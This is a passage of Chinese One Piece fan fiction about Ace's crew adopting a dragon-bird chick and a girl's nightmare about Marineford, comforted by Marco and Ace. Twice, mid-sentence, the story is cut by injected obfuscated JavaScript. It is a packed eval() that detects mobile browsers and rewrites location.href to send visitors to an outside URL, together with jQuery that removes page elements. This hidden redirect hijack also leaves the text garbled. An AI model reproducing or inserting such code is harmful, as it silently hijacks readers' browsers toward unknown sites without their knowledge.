戴着骷髅面具、负责侦查和情报的斯卡尔也蹲了下来,他的声音透过面具显得有些低沉:“别看它现在小。龙鸟成长速度很快,食量惊人。几个月后,体型就能超过一个成年人。成年龙鸟展翼,能遮住小半个甲板。” 米哈尔推了推眼镜,补充了生物学上的残酷现实:“而且,就算想送,恐怕也送不回去了。不是由亲生鸟父母孵化并看顾长大的雏鸟,身上会沾染其他气息。放回野外,很可能会被同族甚至其父母视为异类而驱逐,甚至……吃掉。” 会被吃掉么!? 小狸猛地抬起头,湛蓝的眼睛里写满了震惊。虽然、虽然她完全没有当一只小鸟妈妈的准备,但是……一想到这个刚刚还在她手指下傻乎乎打滚、热乎乎毛茸茸的小东西,因为被自己不小心“孵”出来,就要面临被同族吃掉的可怕命运…… 这也、太可怜了! 似乎敏锐地察觉到了小狸态度开始松动,丢斯状似无意地补充道: “而且,这么小的雏鸟,没有父母保护和投喂,本身就很脆弱。野外危机四伏,就算不被同族攻击,缺乏照顾的话,恐怕也活不了多久吧?嗯……而且看它这么能吃,养起来估计伙食费不便宜。咱们养一个艾斯队长,已经让后勤预算很紧张了,再多一张嗷嗷待哺的嘴……” “丢斯——! 你说谁是嗷嗷待哺的嘴!”艾斯气急败坏地扑过去,和又开始“诽谤”他的船医扭打在一起。两人像小孩子一样在甲板上滚作一团,你给我一拳我勒你脖子。 看着队长和丢斯毫无形象的玩闹,因为突然出现的幼鸟而有些严肃和不知所措的气氛,瞬间缓和、轻松了许多。大家都笑了起来,起哄声再次响起。 小狸看着打闹的两人,又低头看了看脚下因为突然的混乱而有些害怕、正试图往她脚后跟躲的小毛团。心中其实已经有了决断。 她怎么可能真的眼睁睁看着这么一个小生命,因为自己的无心之失而死去?被吃掉什么的……绝对不行! 就在这时,柯达兹晒足了下午的太阳,正懒洋洋地溜达过来,准备找个阴凉地方继续它的“猫生”。唔?那群两脚兽又在吵吵闹闹……嗯?地上还有个毛茸茸、还会动的小零食? 小龙鸟正努力把自己藏在“妈妈”的脚后,忽然就感觉天空突然暗了下来,一股温热的气息笼罩了它。 哎?天怎么黑了?我又回到熟悉的“袋子”里了吗? “柯达兹!!!”小狸的尖叫声几乎刺破耳膜,“快吐出来!!!” 只见柯达兹叼着那只整个懵掉的小龙鸟,一脸无辜地站在原地,还没明白发生了什么。小狸已经冲上去,掰开它的大嘴,小心翼翼地把湿漉漉、沾满了猞猁口水的小鸟给掏了出来。 柯达兹委屈地双爪捂住脑袋,喉咙里发出不满的、低低的咕噜声抗议: 明明掉在地上的就是猫的! “都是你的口水!”小狸有点嫌弃地看着手里滴滴答答往下淌口水、绒毛都塌下去粘在一起、显得更加可怜巴巴的小龙鸟,但还是双手把它小心翼翼地捧在了手心里。小家伙沉甸甸的,估计得有六七斤重了,真不知道它这几天偷偷摸摸“消化”了多少大家的便当! 既然决定要养了,那么,果然还是要有个名字吧? 那边,丢斯和艾斯已经结束了“扭打”,正互相嫌弃地拍打自己身上的灰尘,周围围了一圈船员嘻嘻哈哈地看戏。小狸扭头兴奋的看向米娅,眼睛亮晶晶的: “米娅姐!我们给它起个名字吧!叫它……” 米娅头也没抬,精准预判:“不可以叫‘哒哒’。名字是很重要的,孩子这么随便被起了个名字,很可怜的。” “哦……”,小猫不兴奋,小猫困扰“可是……我真的不会起名字哎?”她自己的名字都是老K随口起的。 大家听到要起名字,都好奇地凑了过来,七嘴八舌地开始贡献不靠谱的建议: “叫‘火花’怎么样?听起来很酷,跟艾斯队长的火焰也搭!”一个年轻的船员提议。 “‘口袋’也行吧?毕竟是在小狸的口袋里孵化的,多有纪念意义!”另一个说。 “照你这么说,那干脆叫‘便当’好了,纪念它靠偷吃大家那么多便当活下来的丰功伟绩!”有人开玩笑。 小狸听着大家起的这些名字,忽然觉得……好像也不怎么样嘛!她失去的信心又悄悄回来了一点点。 “那……那我要叫它‘小哒’!”小狸坚持觉得这个名字多好啊,多像她。 “那就看它自己喜欢哪个名字好了!”丢斯不知何时又挤了进来,提出了一个“民主”的解决方案,“我们一起叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110835|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它,看它对哪个有反应!” 一时之间,甲板上响起了各种怪叔叔怪阿姨带着诱哄语气的声音: “火花~小火花~看这里!” “口袋!小口袋!有好吃的哦!” “便当!香喷喷的便当!” “小哒!哒哒!到这边来!” 小龙鸟被这突如其来的、各种方向的呼唤弄得有点晕,站在原地,小脑袋转来转去。 小狸看着被围在中间、有些无措的小鸟,湛蓝的眼珠转了转,偷偷做了个弊。她蹲下身,用只有她和幼鸟能“听懂”的方式,轻轻用意念呼唤:“小哒?来呀,到我这里来?” 毕竟,这只小龙鸟目前大概只能清晰地“听懂”她这个“妈妈”的“话”。 小龙鸟似乎接收到了她的信号,它奋力地挣扎了一下,踉踉跄跄、却目标明确地朝着小狸的方向,蹦蹦跶跶走了过去,一边走,一边发出欢快的“哒哒”声,黑豆眼里倒映着小狸的身影。 “妈妈!妈妈!我来啦!” 看着坚定选择自己、并亲热地蹭着自己手心的小鸟,小狸的心暖乎乎的,像被阳光晒过的绒毛填满。她正准备温柔地双手把它抱起来就看见自己的傻鸟,似乎是玩得太久,困意上涌,眼神开始迷离。它下意识地,遵循着雏鸟寻找黑暗、温暖、安全角落的本能,迷迷糊糊地、摇摇晃晃地朝着另一个方向走去…… 嗯……那个方向,是柯达兹正好打了个巨大的哈欠,张开的血盆大口。 小龙鸟毫无所觉,凭本能一头钻进了那个温暖、黑暗、熟悉的“洞穴”,把柯达兹的嘴塞得满满当当。 柯达兹整个猞猁都傻住了!它保持着打哈欠的姿势,动也不敢动,嘴也不敢合,一双兽瞳里写满了“我不是!我没有!是它自己过来的!”的惊慌。 “小哒!!!”小狸的惊呼再次响起。 她手忙脚乱地冲过去,拽着湿漉漉的鸟腿,把这只自投罗口的傻鸟给拉了出来,然后揣进自己怀里。 带着“妈妈”气息的温暖怀抱让龙鸟幼崽感觉到了一丝安心。它舒服地蹬了蹬腿,在熟悉的怀抱里调整了一个姿势,然后小脑袋一拱一拱,熟练地钻回了那个它出生长大的小包的开口,只留下圆滚滚、毛茸茸的屁股在外面顾涌了两下,便彻底消失在背包里,只传出两声满足的、昏昏欲睡的“哒……哒……”。 艾斯看着那边正装模作样、插着腰教育柯达兹“不可以吃小哒!”,而大猞猁只能委屈趴着双爪抱头不胜其扰的小狸,脸上不自觉地绽放出一个温柔到极点的笑容。 午饭后的休息时间结束,工作继续。丢斯抬起头,望向正在给高大桅杆刷松节油的小狸。此刻,她正骑在自家那个笨蛋队长的脖子上,一手拿着刷子,一手扶着艾斯的脑袋以保持平衡。艾斯则稳稳地扶着她的小腿,一边小心地随着她的指令移动,一边仰着头,脸上洋溢着那种傻乎乎、简直不值钱到极点、却又灿烂纯粹得如同正午阳光的笑容。 丢斯忍不住搓了搓胳膊上突然冒出来的鸡皮疙瘩。虽然……他一直盼着艾斯这个一根筋的傻小子能获得幸福,能有人陪伴,能让他眼中除了迷茫外多些温暖的光,找到他一直没有说出口的,活着的意义。但眼睁睁看着这么乖巧可爱、几乎被全团当宝贝的小狸,真的被自家这傻小子“泡”到手了,内心深处,总有一种难以言喻的、混合了欣慰、感慨和一点点微妙“酸意” 的复杂感觉——大概就像老父亲看到自家水灵灵的小白菜,终于还是被那头看着长大的、虽然不错但总觉得配不上自家宝贝的“猪”给拱了。 他最终只是轻轻地、释然地叹了口气,摇了摇头,但嘴角却不受控制地向上扬起,露出一个无比温暖、真挚的笑容。 真好啊…… 他看着过去就一起出海,经历风雨,至今仍在一起、吵吵闹闹却比家人更亲的伙伴们。看着艾斯终于找到了能让他停下漂泊目光的港湾,看着连小狸那孩子眼中都有了更明亮的光彩,看着米娅虽然总是凶巴巴却眼底带笑地规划着大家的衣食住行,看着这艘船、这个团队,在伤痕之后,重新充满了生机、笑声和希望。 大家都还在一起。都找到了属于自己的幸福,或正在通往幸福的路上。 “丢斯——! 你在那儿发什么呆偷什么懒啊!快点干活了?!” 米娅中气十足的怒吼如同往常一样,精准地穿透了甲板上的喧嚣,伴随着话音,一个软木塞也同时划破空气精准地砸了过来。 “哎哟!”丢斯一个激灵,羸弱的船医兼参谋被精准命中额头,他揉了揉脑袋,脸上却不见恼怒,反而绽开一个更加真诚又爽朗的笑容,大声回应: “来了来了!别喊了这就来!” 他抓起手边的设计草图,快步朝着米娅走去。经过艾斯和小狸身边时,他推了推脸上的面具,将那份了然的欣慰、祝福,以及一点点属于家人的、善意的调侃,都深深地藏在了心底,藏在了那习惯性的面具之后。 这样,就好。 115.爱与配得 黑暗中是火焰焚烧的声音。 不,不止火焰。还有无数人狂热的呐喊,金属碰撞,□□撕裂……但这些声音都像隔着一层厚重的玻璃,模糊而扭曲地灌入耳中。 她拼命地跑,脚下的冰面湿滑不堪,不断塌陷。空气中弥漫着浓烟,视线所及,尽是断壁残垣,无数她认识或不认识的人倒下的身影。 不,不是这里。不是这些人。 她要找的…… 心脏在胸腔里疯狂擂动,喉咙干裂发痛,她不知道自己跑了多久,也不知道方向对不对,只是被一股近乎本能的恐惧驱使着,朝那片最混乱、光芒最刺眼的地方冲去。 终于,她找到了。 处刑台高耸的轮廓在硝烟和火光中若隐若现。而下方不远处,那片被彻底清空的、如同舞台中央的空地上,两个身影紧紧靠在一起。 少年跪在地上,怀中抱着另一个。 她看到了那头熟悉的黑发,看到了那红色的串珠项链骤然崩断散落一地,看到了他嘴角溢出的鲜血……以及,那个狰狞的、贯穿性的血洞。 赤红的岩浆与炽白的火焰正在相互湮灭,发出滋滋的声响。黑发的青年低垂着头,安静地靠在弟弟怀中,仿佛只是睡着了。 可那里没有生命的气息。 一丝一毫都没有了。 “……艾斯?” 她听到自己发出一个极其细微破碎的声音。世界的声音在瞬间褪去,只剩下自己血液冲刷耳膜的轰鸣,和心脏某处彻底碎裂的脆响。 晚了一步。 就差一步。 为什么……不能再快一点…… 巨大冰冷的绝望瞬间将她吞没、绞碎、拖入无光的深渊—— --- “嗬——” 梦。又是那个梦。 小狸终于从梦魇的钳制中挣脱,猛地坐起身,大口大口地汲取着冰冷的空气。船舱里很安静,只有窗外海浪规律的轻响,以及身边人平稳悠长的呼吸声。 凌晨三点二十七分。 月光透过舷窗,在地板上投下清冷的光斑。她僵硬地转过头。 艾斯就在她身边,睡得正沉。橘色的帽子挂在床头的挂钩上,随着船只轻微的摇晃而轻轻摆动。他一只手臂无意识地搭在枕边,胸膛随着呼吸均匀地起伏,身上传来熟悉的、令人安心的体温和淡淡的气息。 他还在这里。是热的,活的,心脏在跳动。 脸颊湿漉漉的,小狸抹了一把才发现自己又在梦里哭了出来,她伸出颤抖的手,指尖小心翼翼地触碰他裸露在被子外的肩胛皮肤。温热的触感从指尖传来,如此真实,瞬间击碎了梦魇残留的冰冷幻觉。 她没有发出声音,只是慢慢挪动身体,像只寻求庇护的幼兽,把自己蜷缩进艾斯的怀里,额头抵着他温热的胸膛,聆听那鲜活的心跳声。她将自己尽可能多地嵌入他的轮廓里,仿佛这样就能确认他的存在,能驱散骨子的寒意。 艾斯在睡梦中似乎感觉到了她的靠近,无意识地收拢手臂,将她更紧地圈进怀里,下巴蹭了蹭她的发顶,发出一声含糊的咕哝又沉沉睡去,他的头发和她的交织在一起,蹭的她的耳朵痒痒的 小狸闭上眼睛,试图让自己重新入睡。然而一闭上眼睛,那片被火光和鲜血染红的冰原,那个寂静的、没有生息的背影,还有那“晚了一步”,就纠缠般的再次浮现。 她猛地睁开眼,不行,睡不着。 她不想吵醒艾斯。他最近为了“炎雀号”的修复,白天消耗了太多精力。 她轻轻叹了口气,极其小心地从艾斯的怀抱里挣脱出来,没有惊动他。替他掖好被角,指尖留恋地拂过他睡梦中依旧英挺的眉骨,然后踩着拖鞋,悄无声息地离开了舱室 凌晨的莫比迪克号,陷入了一天中最深沉的安眠。白日里的喧嚣、活力、敲打声、笑骂声全都消失了,只有船体随着海浪轻轻摇晃的吱呀声,绳索与桅杆摩擦的细微声响,以及远处值夜船员压低了的、模糊的交谈声。 她漫无目的地走着,海风凉飕飕的,让她混乱的头脑稍微清醒了一些。她裹了裹身上的衣服,值夜的船员看到了她,冲她挥了挥手打了个招呼 “小狸今天怎么起这么早?艾斯队长呢?” 小狸比了一个嘘的动作 “我偷溜出来的,睡不着……” “小狸还有睡不着的时候啊?”船员调笑她,小狸挥挥拳头,换来那人更肆意的大笑 小狸哼了一声转身就走,试图离开他的视线,她漫无目的的在走廊里踱步,现在正是大多人睡得最香的时候,一扇扇门后传来细碎的呼噜声,这个时间的莫比迪克让小狸感觉十分新奇,她一直向前,路过了一扇没有关闭的门,灯光从里面透了出来 “马尔科先生?” 猫猫探头,看向房间里,这么晚了,他还没睡? “进来。”马尔科的声音带着一如既往的、仿佛永远睡不醒的疲惫,却又清晰平稳。 小狸推开门。房间里堆满了各种文件和医疗记录,空气里弥漫着淡淡的药草味和旧纸张的气息。马尔科坐在书桌后,面前摊开着厚厚的账本和报告,鼻梁上架着一副平时很少戴的细框眼镜,镜片反射着台灯的光。他看起来和平时没什么两样,只是眼底的阴影在深夜灯光下显得更加明显。他正对着手中一份报告蹙眉,手边放着一杯早已凉透的咖啡。 “小狸?”他摘下眼镜,揉了揉眉心,“这个时间,怎么还没睡?过来坐” 小狸点了点头,默默走到书桌旁的沙发上坐下,把自己蜷成一团,下巴搁在膝盖上。瓮声瓮气的回答“……睡不着。” 马尔科没有追问,看着她单薄的睡衣和冻红的鼻尖,起身从旁边的小柜子里拿出一条干净的薄毯,走过来轻轻披在她肩上,然后在她对面坐下,姿态放松,没有平日作为一番队队长的严肃感,更像一个深夜未眠的兄长。 “艾斯那小子睡得像头死猪,没发现你跑了?”他语气带着点习惯性的调侃,试图让气氛轻松些。 “他有点累了,睡得很沉。”小狸把下巴埋进毯子里,只露出一双依旧残留着惊悸的蓝眼睛,“马尔科先生是没睡还是已经醒了?总是有这么多事情要处理吗?” “都说了叫我马尔科就好……这个啊。”马尔科看了一眼桌上堆积如山的文件,无奈地笑了笑,“毕竟要管着一个四皇团和旗下那么多岛屿的杂事,那群家伙又只负责喝酒和打架。账目、补给、航线、盟约、还有那群总是不让人省心的家伙们惹出来的各种麻烦……”他叹了口气,但眼神里并没有真正的厌烦,反而有一种深沉中带着纵容的责任感,“总得有人来做这些。而且,夜晚安静,效率高些。” 他重新看向小狸,目光温和:“倒是你,做噩梦了?” 小狸沉默了一下。在马尔科面前,很多伪装似乎会自然瓦解。他太敏锐,也太可靠,像一座沉默但永远亮着灯的安全塔。 “嗯……我梦到了,过去的事……还有马林梵多的事。我……不知道。”她终于开口,声音有些干涩,“马尔科先生,我有时候会觉得……这一切,美好得像一场我不敢醒来的梦。老爹,大家,艾斯,这艘船,这片海……所有的一切。” 她抬起头,蔚蓝的猫瞳在灯光下闪烁着不安的光。 “我知道大家一直都在纵容我,喜欢看我无忧无虑的样子和我打闹逗我开心,我也希望大家都开开心心的……”她揪着毯子边缘的流苏,手指无意识地缠绕着,“可是……我好害怕。我怕自己不够强,保护不了想保护的人;怕自己任性,会给大家带来麻烦;怕有一天大家会发现,我其实没有那么阳光,没有那么好,那么完美,然后……就不会再这样爱我了。” “大家爱我,保护我,包容我的一切任性和胡闹……”她顿了顿,声音更低,“可是,被这样毫无保留地爱着……我真的……配得上吗?” “我只是……一只碰巧和大家产生了羁绊的小猫,甚至之前一直被称作怪物。大家对我这么好,把最好的都给我,给我一个家,给我毫无条件的信任和爱。我得到了这么多,可是在战场上却只能看着大家的背影,甚至差一点……” 她停住了,没有说下去。但马尔科听懂了。 那场战争的阴影,失去的恐惧,并非只存在于艾斯心中。这个看似被所有人捧在手心、无忧无虑的小家伙,心底同样埋藏着深切的焦虑和“不配得”感。她太珍惜现在的一切,珍惜到患得患失,珍惜到在幸福的顶点,会惶恐地低头审视自己,担心自己是否真的有资格站立于此。马尔科感觉自己似乎又看到了那个刚刚来到这个世界,惶恐无措的少女,像只惊慌的小动物,让人不由得心软 他安静地听着,没有打断,直到她说完,肩膀微微颤抖,他才缓缓开口: “小狸,”马尔科的声音很平静,却带着一种能抚平波澜的力量,“你要知道,没有谁是‘完美’的,也没有谁的爱是要求‘配得上’才给予的。” “老爹收留我们这么多无家可归的人,不是因为我们多么强大,多么有用,或多么‘值得’。只是因为,我们渴望一个家,所以他了给我们一个家。我们成为家人,是因为彼此需要,彼此扶持,看见并接纳了对方最真实的样子,包括所有的缺点、伤痕和过去。” 他看着她,镜片后的眼眸温和而坚定。 “是否‘配得上’……这本身就是一个错误的问题。爱不是天平上的交易,不是因为你做了什么,或是什么身份,才‘值得’被爱。你的存在本身,对很多人来说……尤其是那个睡死过去的混小子,你在这里,你是小狸,这就足够了。” 马尔科轻轻笑了笑,“你以为,只有你在接受吗?傻孩子,爱是相互的。你也在用你的方式,爱着和保护着这里的每一个人。包括我这个总是熬夜处理公务的可怜医生。” 马尔科看着桌上那杯不知何时已经被小狸偷偷加热了的咖啡,露出会心的笑容,他靠在靠背上 “至于过去……”马尔科的声音柔和下来,“模糊也好,清晰也罢,那都是构成现在这个‘你’的一部分。但重要的不是过去从哪里来,而是未来要往哪里去,以及……和谁在一起。” “背负太多对未来的恐惧和对自身的怀疑,会让人看不清眼前真实的幸福。”他最后说道,“偶尔的害怕很正常,但别让它偷走你当下的快乐。我们都在这里,船还在航行,家还在。这就够了,不是吗?” “我……”她吸了吸鼻子,声音带着浓重的鼻音,“我只是……不想让大家失望……” “那就继续做你自己。”马尔科伸手,像每一次那样,揉了揉她的头发,“勇敢,善良,有点小狡猾,对家人充满炽热的爱,这就够了。至于其他的,交给时间,交给大海,交给你身边的我们就好。” 小狸静静地听着,没有说“谢谢”,只是用力点了点头,把脸埋进带着药草清香的毯子里,深深吸了一口气,终于破涕为笑,“谢谢你,马尔科先生” “马尔科!最近船上的食物消耗又快得离谱了,再不管管那些偷吃的家伙,咱们下半个月就得集体喝西北风了!我就应该给那帮精力过剩的小子多安排点活儿,省得他们总惦记我的冰箱!” 萨奇风风火火地闯了进来,显然对习惯了熬夜和早起的马尔科这个时间点必然醒着的作息了如指掌,非常自然地“破门而入”,连敲门都省了。 身为掌管全团饮食的厨师长,萨奇每天起得比海鸥还早。当别人还在梦乡时,他已经和他的团队在宽敞的厨房里忙开了,计算着如何填饱船上一个个堪比无底洞的胃。 “哎?小狸怎么也在啊” 他幅度极小地瞥向桌后的马尔科,递过一个询问的眼神。 马尔科几乎微不可查地对他轻轻摇了摇头,金丝眼镜后的眼睛里传递出“别多问,没事了”的安抚信号。萨奇了然的没有去询问小狸还微红的眼眶 马尔科看了一眼桌上堆积如山的、仿佛永远也处理不完的文件和报告,无奈地笑了笑,语气恢复了平时那种淡淡的疲惫:“好了,我这个‘知心船医’的临时服务时间差不多了。‘倒霉的书记官’要继续工作啦”他扶了扶那副象征“工作模式”的金丝眼镜,拿起了羽毛笔,目光已经回到了文件上,仿佛刚才那番深刻的对话只是日常的一部分 就在小狸准备站起身离开时,萨奇突然上前一步,伸出双臂把小狸端了起来,在小狸的惊呼声中把人搬走了,一边走一边煞有介事地“控诉” “小狸你可跑不了,数你的小哒吃得最多,你这个当‘妈’的,既然都醒了,就别想溜,快来厨房帮忙抵债!” 小狸心虚,小哒确实非常能吃,几天的功夫已经胖了好几斤,很快要有柯达兹的头那么大了,似乎又意识到自己很受宠,在莫比迪克作威作福横着走,用还不会飞的翅膀扑腾着到处啄人,抢东西吃,小狸还看到过它骑在柯达兹身上欺负被教育不可以伤害它的柯达兹,被小狸抓着弹了好几下脑袋也不长记性,哼哼唧唧的哒哒叫,虚心接受,屡教不改 她乖乖的被萨奇拐到厨房,厨师们热情的和她打招呼 “哎呀,是小狸啊!今天起这么早?” “萨奇队长,你怎么把咱们的小宝贝搬来了?” “小狸早上想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在那股熟悉的、冰冷的自我质疑又要开始蔓延时,身后传来了急切而熟悉的脚步声。 “小狸!” 她还没来得及回头,就被一股带着滚烫体温和急切担忧的气息从背后紧紧拥住。艾斯的双臂结实有力,将她整个圈在怀里,下巴抵着她的发顶,灼热的呼吸喷在她的耳畔。 “吓死我了,一醒过来你就不见了……”他的声音带着刚睡醒的沙哑,和后怕的紧绷,“到处都找不到……” 小狸的情绪被打断,紧绷的身体在他怀抱里瞬间软化下来。她闭上眼睛,向后完全靠进他怀里,感受着他胸腔里和自己同样急促、但渐渐同步的心跳。冰冷的海风被他挡去了大半,取而代之的是他周身散发的、令人安心的暖意。 “艾斯一定会找到我的。”她轻声说,语气是全然的确信。 艾斯沉默了几秒,似乎平复了一下情绪,才稍微松开一点 “做噩梦了?还是哪里不舒服?怎么跑到这里来吹风?手这么冰……” 小狸在他怀里转过身,伸出双臂,紧紧地环住他,把脸贴在他的胸膛上。 “没有不舒服。”她小声说“只是……做了个很可怕的梦睡不着了。而且太阳快出来了,还能看到日出。” “什么梦?”艾斯低头,安抚的顺着她的头发 小狸沉默了一下,然后更紧地抱住他,仿佛要从他身上汲取力量和勇气。 “我梦到……马林梵多。梦到我跑慢了,没有来得及……眼睁睁看着你……”她说不下去,只是把脸更深地埋进他怀里。 艾斯的身体明显僵了一下,大手安抚地轻拍她的后背。 “傻瓜。”他的声音在她头顶响起,低沉而温柔,带着不容置疑的坚定,“那是梦。你看,我就在这里,活蹦乱跳的。” “可是……”小狸的声音带着一丝哽咽,“我害怕。我害怕自己不够好……害怕因为我的原因,让重要的人受到伤害。我害怕……配不上大家对我的好,配不上……你的爱。” 艾斯静静地听着,过了好一会儿,他才开口,声音很轻: “小狸” 他稍稍退开一点,双手捧起她的脸,强迫她看着自己。即使在昏暗的光线下,他的眼睛也亮得惊人,里面清晰地映出她小小的、不安的身影。 “我爱你,不是因为你‘足够好’,‘足够强’,或者‘配得上’。” “我爱你,是因为你是小狸。你的不安、害怕、自我怀疑……这些,我都知道。”他拇指轻轻擦过她眼角不知何时溢出的湿意,“因为我也有。我害怕自己不够强,保护不了你,保护不了大家,一辈子摆脱不了作为海贼王儿子的影子,我甚至愚蠢的想要放弃自己的生命……我们都有害怕的东西,这很正常。” “但是,你不需要独自面对这些恐惧,你有家人。我们会一起变强,一起面对风浪,一起保护我们所珍视的一切。” “至于‘配不配’……”艾斯忽然笑了,那笑容在星光下显得有些傻气“这个问题太蠢了。爱哪有什么配不配?就像我喜欢吃萨奇做的饭,是因为它好吃,而不是因为它‘配’被我吃。我爱你,是因为你就是你,就这么简单。” 他低下头,额头抵住她的额头,鼻尖相触,呼吸交融。 小狸的泪水又一次涌出,她踮起脚尖,主动吻上他的唇。这个吻不像往常那样带着嬉闹或甜蜜的挑逗,而是充满了确认的力度和汲取安慰的渴望。艾斯愣了一下,随即更深入地回应了她,将这个吻化为无声的守护与承诺。 良久,两人额头相抵,微微喘息。远处的海平面,浓墨般的夜色开始渗出一丝极其细微的光,星星似乎也变得稀疏了些。 他们十指相握,那些因恐惧而盘旋的自我质疑,在这坚定的温暖中开始慢慢消散。 然后,她转过身,重新靠进他怀里,和他一起望向海天相接处那越来越明显的曙光。 深蓝色的夜幕正在被温柔地撕裂,金色的光芒一点点晕染开来。星辰悄然隐退,将舞台让给新生的太阳。 “看,”艾斯在她耳边低声说,带着笑意,“天快亮了。” 是啊,天快亮了。噩梦会过去,长夜会终结。而充满希望的新的一天,总会到来。 这就够了。 “艾斯。” “嗯?” “我好爱你。” “……我知道。”艾斯的耳朵有点红,手臂却收得更紧,嘴角咧开一个大大的、心满意足的笑容,“我也爱你,很爱很爱。” 116.她的one piece 当最后一块主甲板被严丝合缝地铺设平整,当那面崭新的巨大船帆骄傲地展示着中央那标志性的白胡子骷髅与弯月纹样,被数名健壮的船员合力拉动绳索,沿着最高的主桅杆猎猎作响、缓缓升至顶端时,所有参与了这场艰辛重建工作的二番队成员,无论正站在甲板上,还是仰头在码头,都不约而同地屏住了呼吸,目光紧紧追随着那面旗帜,直至它在桅杆顶端完全展开,迎风飘扬。 紧接着,爆发出的是震耳欲聋、几乎掀翻码头的欢呼与口哨! “呜哦哦哦哦——!!!完成了!!!” “我们的‘炎雀’!!!” “太帅了——!!!” 崭新的“炎雀号”静静地停泊在灿烂的阳光下,如同一位经过精心梳洗、换上新装的骑士。整艘船的线条流畅而充满力量感,比以往任何时候都要挺拔、坚固、充满蓄势待发的生命力。船首被真正重新雕琢成了火焰雀鸟的雕像,每一片羽毛的纹理都清晰可见,鸟喙微张,眼神锐利,在阳光的照射下,仿佛随时都要挣脱船体的束缚,振翅高飞。 艾斯站在甲板,强劲的海风迎面扑来,吹动他额前的黑色碎发,也吹得他的帽檐不住翻飞。他没有阻止,任由风拂过发热的脸颊。 他深深地回望。 目光逐一掠过甲板上每一位伙伴,丢斯正扶着他那标志性的面具,面具后的眼睛弯成月牙;米娅单手叉腰,看着喧闹的众人,无奈摇头却嘴角含笑;斯卡尔和其他队员们勾肩搭背,放声大笑,脸上还带着未擦净的汗渍和油污;米哈尔靠在船舷,正仔细检查着新安装的罗盘……还有更多、更多的面孔,每一张都写满了疲惫后的满足、骄傲与纯粹的快乐。 胸腔里,一股复杂到难以言喻的热流猛地翻涌而上,冲撞着喉头,带来一阵酸涩的灼热感。脚下这艘与他命运相连、浴火重生的船;身边这些始终不离不弃、如同手足兄弟般的伙伴;还有……那个跨越世界与生死界限、如同奇迹般奔他而来的小小身影…… 这一切,曾几何时,是他在不确定镇的陋巷、仰望狭小星空时,连做梦都不敢轻易奢望的、名为“归宿”与“羁绊”的奇迹。 他几乎是狼狈地猛地压低了帽檐,脸上瞬间多了一片阴影,遮挡住莫名发热、泛起可疑湿意的眼眶和微微发红的鼻尖。该死的风,沙子真多…… “喂,艾斯,你小子……”一个熟悉到骨子里的、带着戏谑的声音自身边响起。丢斯不知何时悄无声息地凑到了他身旁,用手肘不轻不重地撞了他一下,眼睛闪烁着洞察一切的了然和调侃,“……不会是真要哭出来了吧?哎呀呀,这可真是……被某个小爱哭鬼给传染了~啧啧。” “啰、啰嗦!” 艾斯瞬间炸毛,所有的感动和脆弱都被这精准的调侃击得粉碎转而化为羞恼。他反手就勾住丢斯的脖子,用力把他往自己这边带,另一只手去揉乱对方梳得整齐的头发,“你说谁哭了啊!找打吗你这混蛋参谋!” “哇啊!恼羞成怒了啊!救命啊——米娅!小狸!”丢斯夸张地大叫,却丝毫没有认真挣脱的意思,两人顿时在船头这庄严的位置毫无形象地扭打在一起,更像是两只大型犬在玩闹角力,引得周围船员哄笑。 “艾斯加油!丢斯加油!打起来!打起来!” 唯恐天下不乱的小狸兴奋地拍着手,湛蓝的眼睛亮晶晶的,为两边“激情助威”。她脚边,已经长得有柯达兹半个身子大、圆滚滚毛茸茸的龙鸟幼崽“小哒”,也蹦蹦跳跳地跟着起哄,发出“哒哒哒”的响亮叫声,芝麻团子跃跃欲试地扑腾着还飞不起来的翅膀,似乎很想加入这场“混战”,看能不能趁机啄一口谁的鞋子或裤脚。 他们完全没注意到,不远处正抱着双臂的米娅,额角的青筋正欢快地跳动,捏得指节咔咔作响的拳头已经蓄势待发,周身开始散发出肉眼可见的、名为“忍耐极限”的低气压。 就在米娅忍无可忍,深吸一口气,准备施展她闻名二番队的“铁拳教育”,让这几个不分场合幼稚胡闹的家伙深刻体会一下什么叫竣工仪式的庄重时,她的动作,连同即将出口的怒吼,猛地一顿。 她的视线越过闹腾的几人投向码头入口处。那里,一群身影正浩浩荡荡、气场十足地朝着炎雀号走来。为首的正是那如山岳般巍峨的白胡子爱德华·纽盖特,他身侧,是一脸“我就知道会这样”的无奈表情的马尔科,以及笑嘻嘻扛着个巨大酒桶的萨奇。后面还跟着以藏、乔兹、比斯塔、那谬尔等好几位队长,俨然是莫比迪克号的“观光团”莅临视察。 米娅瞬间收敛了所有怒容,狠狠瞪了还在打闹的艾斯、丢斯以及看热闹不嫌事大的小狸一眼,用凌厉的眼神传递着清晰无误的讯息:“回头再收拾你们!现在,给我装得像样点!” 小狸的猫耳比她的思维反应更快,“噌”地一下竖起,精准捕捉到了熟悉的强大气息。她脸上立刻绽放出惊喜又灿烂的笑容:“老爹!马尔科先生!萨奇!大家!” 她飞快地放弃“观战”,像颗灵活的小炮弹似的钻到还在互相推搡、试图把对方发型弄得更糟的艾斯和丢斯中间,用身体硬生生把两个幼稚鬼分开,“别闹了啦!大家来了!” 艾斯和丢斯同时停下动作,互相递了一个“算你走运,回头再战”的眼神,又同时朝对方做了个极其幼稚的鬼脸,这才整理了一下被弄乱的衣服和头发。小狸已经转身,迈着轻快的步伐,带着身后蹦蹦跳跳的“小哒”,朝着家人们跑去。 “哟,小狸!修船辛苦啦!看起来精神不错嘛!”萨奇第一个大笑着迎上来,变魔术般掏出一块精心烤制、表面淋着晶莹糖浆、还冒着诱人热气的小蛋糕,以迅雷不及掩耳之势,精准地塞进了小狸恰好张开准备问候的嘴里。 “唔——!” 